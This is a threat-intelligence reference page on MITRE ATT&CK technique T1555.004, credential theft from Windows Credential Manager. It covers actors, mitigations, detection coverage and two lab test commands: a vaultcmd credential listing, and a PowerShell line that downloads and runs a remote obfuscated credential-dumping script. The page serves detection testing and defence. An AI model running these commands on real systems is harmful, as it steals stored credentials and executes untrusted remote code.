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ATT&CK Technique

Windows Credential Manager

T1555.004 · credential-access

Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers.

As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted .vcrd files, located under %Systemdrive%\Users\\[Username]\AppData\Local\Microsoft\\[Vault/Credentials]\.

The encryption key can be found in a file named Policy.vpol, typically located in the same folder as the credentials. Adversaries may list credentials managed by the Windows Credential Manager through several mechanisms. vaultcmd.exe is a native Windows executable that can be used to enumerate credentials stored in the Credential Locker through a command-line interface. Adversaries may also gather credentials by directly reading files located inside of the Credential Lockers.

Windows APIs, such as CredEnumerateA, may also be absued to list credentials managed by the Credential Manager. Adversaries may also obtain credentials from credential backups. Credential backups and restorations may be performed by running rundll32.exe keymgr.dll KRShowKeyMgr then selecting the “Back up...” button on the “Stored User Names and Passwords” GUI.

Password recovery tools may also obtain plain text passwords from the Credential Manager.

Windows

Actors Using This

8
iranOilRig
iranAPT35
north_koreaAPT38
israel_private_sector_mobile_forensics_cyber_mercenaryCellebrite
russiaTurla

Likely Attack Path

Techniques the same actors pair with this one distinctively - those showing up among actors who use this technique noticeably more than across all actors (lift > 1.15), grouped by kill-chain phase. The × is that lift multiplier; the shared-actor count is in the tooltip. A near-universal technique pairs with everything at baseline, so its list is short by design.
resource-development earlier
command-and-control later

Atomic Tests

2
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
command_promptwindowsAccess Saved Credentials via VaultCmd
List credentials currently stored in Windows Credential Manager via the native Windows utility vaultcmd.exe Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos https://blog.malwarebytes.com/101/2016/01/the-windows-vaults/ https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
vaultcmd /listcreds:"Windows Credentials"
powershellwindowsWinPwn - Loot local Credentials - Invoke-WCMDump
Loot local Credentials - Invoke-WCMDump technique via function of WinPwn
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/DumpWCM.ps1')
Invoke-WCMDump

Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1042Disable or Remove Feature or Program

Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled.

Remove Legacy Software
  • Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash).
  • Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date.
Disable Unused Features
  • Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required.
  • Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue.
Control Applications Installed by Users
  • Use Case: Prevent users from installing unauthorized software via group policies or other management tools.
  • Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment.
Remove Unnecessary Services
  • Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices.
  • Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations.
Restrict Add-ons and Plugins
  • Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes.
  • Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks.

Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 4
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none

Comply & Defend

NIST 800-53CM-02, CM-06, CM-07, IA-05, SI-04
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CVETechnique ActorTool Family
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